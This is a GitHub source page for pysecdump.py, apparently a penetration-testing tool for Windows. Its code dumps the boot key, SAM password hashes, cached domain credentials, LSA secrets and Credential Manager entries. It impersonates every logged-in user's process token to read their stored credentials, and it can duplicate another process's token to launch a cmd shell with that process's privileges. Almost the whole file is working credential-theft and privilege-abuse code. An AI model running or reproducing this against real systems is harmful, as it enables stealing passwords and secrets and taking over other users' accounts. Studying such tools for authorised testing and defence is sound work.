-
Notifications
You must be signed in to change notification settings - Fork 49
/
Copy pathpysecdump.py
executable file
·251 lines (217 loc) · 9.31 KB
/
pysecdump.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
#!/usr/bin/env python
# This file is part of creddump.
#
# creddump is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# creddump is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with creddump. If not, see <http://www.gnu.org/licenses/>.
from framework.win32.domcachedumplive import dump_file_hashes as cachedump_reg_hashes
from framework.win32.hashdumplive import dump_hashes as hashdump_reg_hashes
from framework.win32.hashdumplive import get_bootkey
from framework.win32.lsasecretslive import get_live_secrets
from optparse import OptionParser
from optparse import OptionGroup
import win32process
import win32event
import pywintypes
import win32security
import win32api
import win32con
import ntsecuritycon
import win32cred
from wpc.processes import processes
from wpc.thread import thread
from binascii import hexlify
import sys
version = "1.0"
def parseOptions():
print "pysecdump v%s https://github.com/pentestmonkey/pysecdump" % version
usage = "%s (dump opts | shell opts | -h) " % (sys.argv[0])
parser = OptionParser(usage = usage, version = version)
dump = OptionGroup(parser, "dump opts", "Choose what you want to dump")
shell = OptionGroup(parser, "shell opts", "Get shell with different privs")
dump.add_option("-a", "--all", dest = "do_all", default = False, action = "store_true", help = "Dump everything")
dump.add_option("-s", "--samhashes", dest = "do_samhashes", default = False, action = "store_true", help = "Dump hashes from SAM (registry)")
dump.add_option("-l", "--lsasecrets", dest = "do_lsasecrets", default = False, action = "store_true", help = "Dump LSA Secrets (registry)")
dump.add_option("-c", "--cacheddomcreds", dest = "do_cacheddomcreds", default = False, action = "store_true", help = "Dump Cached Domain Creds (registry)")
dump.add_option("-C", "--credman", dest = "do_credman", default = False, action = "store_true", help = "Dump Credential Manager for all logged in users (API call) - can't do all passwords types")
dump.add_option("-b", "--bootkey", dest = "do_bootkey", default = False, action = "store_true", help = "Dump Bootkey (registry)")
shell.add_option("-i", "--impersonate", dest = "pid", default = False, help = "Impersonate a process")
shell.add_option("-e", "--enable_privs", dest = "enable_privs", default = False, action = "store_true", help = "Enable all privs in current token")
parser.add_option_group(dump)
parser.add_option_group(shell)
(options, args) = parser.parse_args()
if not (options.do_all or options.do_samhashes or options.do_lsasecrets or options.do_cacheddomcreds or options.do_bootkey or options.do_credman or options.pid or options.enable_privs):
print "[E] Specify at least one of: -a, -s, -l, -c, -b, -C, -t, -e. -h for help."
sys.exit()
return options
def shell_as(th, enable_privs = 0):
t = thread(th)
print t.as_text()
new_tokenh = win32security.DuplicateTokenEx(th, 3 , win32con.MAXIMUM_ALLOWED , win32security.TokenPrimary , win32security.SECURITY_ATTRIBUTES() )
print "new_tokenh: %s" % new_tokenh
print "Impersonating..."
if enable_privs:
get_all_privs(new_tokenh)
commandLine = "cmd"
si = win32process.STARTUPINFO()
print "pysecdump: Starting shell with required privileges..."
(hProcess, hThread, dwProcessId, dwThreadId) = win32process.CreateProcessAsUser(
new_tokenh,
None, # AppName
commandLine, # Command line
None, # Process Security
None, # ThreadSecurity
1, # Inherit Handles?
win32process.NORMAL_PRIORITY_CLASS,
None, # New environment
None, # Current directory
si) # startup info.
win32event.WaitForSingleObject( hProcess, win32event.INFINITE );
print "pysecdump: Quitting"
def get_all_privs(th):
# Try to give ourselves some extra privs (only works if we're admin):
# SeBackupPrivilege - so we can read anything
# SeDebugPrivilege - so we can find out about other processes (otherwise OpenProcess will fail for some)
# SeSecurityPrivilege - ??? what does this do?
# Problem: Vista+ support "Protected" processes, e.g. audiodg.exe. We can't see info about these.
# Interesting post on why Protected Process aren't really secure anyway: http://www.alex-ionescu.com/?p=34
privs = win32security.GetTokenInformation(th, ntsecuritycon.TokenPrivileges)
for privtuple in privs:
privs2 = win32security.GetTokenInformation(th, ntsecuritycon.TokenPrivileges)
newprivs = []
for privtuple2 in privs2:
if privtuple2[0] == privtuple[0]:
newprivs.append((privtuple2[0], 2)) # SE_PRIVILEGE_ENABLED
else:
newprivs.append((privtuple2[0], privtuple2[1]))
# Adjust privs
privs3 = tuple(newprivs)
win32security.AdjustTokenPrivileges(th, False, privs3)
FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)])
def dump(src, length=8):
# Hex dump code from
# http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/142812
N=0; result=''
while src:
s,src = src[:length],src[length:]
hexa = ' '.join(["%02X"%ord(x) for x in s])
su = s
uni_string = ''
for n in range(0, len(su)/2):
if su[n*2 + 1] == "\0":
uni_string += unicode(su[n*2:n*2+1], errors='ignore')
else:
uni_string += '?'
s = s.translate(FILTER)
result += "%04X %-*s%-16s %s\n" % (N, length*3, hexa, s, uni_string)
N+=length
return result
def section(message):
print
print "[ %s ... ]" % message
print
def get_credman_creds(quiet=0):
try:
creds = win32cred.CredEnumerate(None, 0)
return creds
except pywintypes.error as e:
if not quiet:
if e[0] == 1004:
print "[E] Call to CredEnumerate failed: Invalid flags. This doesn't work on XP/2003."
elif e[0] == 1168:
print "[E] Call to CredEnumerate failed: Element not found. No credentials stored for this user. Run as normal user, not SYSTEM."
elif e[0] == 1312:
print "[E] Call to CredEnumerate failed: No such login session. Only works for proper login session - not network logons."
else:
print "[E] Call to CredEnumerate failed: %s" % e[2]
return None
def dump_cred(package):
for k in package.keys():
if k == "CredentialBlob":
if package[k]:
print "%s:" % k
sys.stdout.write(dump(package[k], 16))
else:
print "%s: %s" % (k, "<empty / cannot decrypt>")
else:
print "%s: %s" % (k, package[k])
print ""
options = parseOptions()
# bootkey
if options.do_all or options.do_bootkey:
section("Dumping Bootkey")
print "Bootkey: %s" % hexlify(get_bootkey())
# cachedump
if options.do_all or options.do_cacheddomcreds:
section("Dumping Cached Domain Credentials")
got_a_hash = 0
for hash in cachedump_reg_hashes():
got_a_hash = 1
print hash
if not got_a_hash:
print "[E] No cached hashes. Are you running as SYSTEM? Or machine not a domain member?"
# pwdump
if options.do_all or options.do_samhashes:
section("Dumping Password Hashes From SAM")
got_a_hash = 0
for hash in hashdump_reg_hashes():
got_a_hash = 1
print hash
if not got_a_hash:
print "[E] No hashes. Are you running as SYSTEM?"
# credman
if options.do_all or options.do_credman:
section("Dumping Current User's Credentials from Credential Manager")
creds = get_credman_creds()
if creds:
for package in creds:
dump_cred(package)
sid_done = {}
for p in processes().get_all():
for t in p.get_tokens():
x = t.get_token_user().get_fq_name().encode("utf8")
if t.get_token_user().get_fq_name().encode("utf8") in sid_done.keys():
pass
else:
sid_done[t.get_token_user().get_fq_name().encode("utf8")] = 1
section("Dumping Credentials from Credential Manager for: %s" % t.get_token_user().get_fq_name())
win32security.ImpersonateLoggedOnUser(t.get_th())
creds = get_credman_creds()
if creds:
for package in creds:
dump_cred(package)
win32security.RevertToSelf()
# lsadump
if options.do_all or options.do_lsasecrets:
section("Dumping LSA Secrets")
secrets = get_live_secrets()
if not secrets:
print "[E] Unable to read LSA secrets. Perhaps you are not SYTEM?"
sys.exit(1)
for k in sorted(secrets.keys()):
print k
print dump(secrets[k], length=16)
# shell with privileges of another process
if options.pid:
found = 0
for p in processes().get_all():
if p.get_pid() == int(options.pid):
found = 1
print p.as_text()
for t in p.get_tokens():
shell_as(t.get_th(), options.enable_privs)
if not found:
print "[E] Could not find process with PID %s" % options.pid
# shell with all privs enabled
elif options.enable_privs:
th = win32security.OpenProcessToken(win32api.GetCurrentProcess(), win32con.MAXIMUM_ALLOWED)
shell_as(th, options.enable_privs)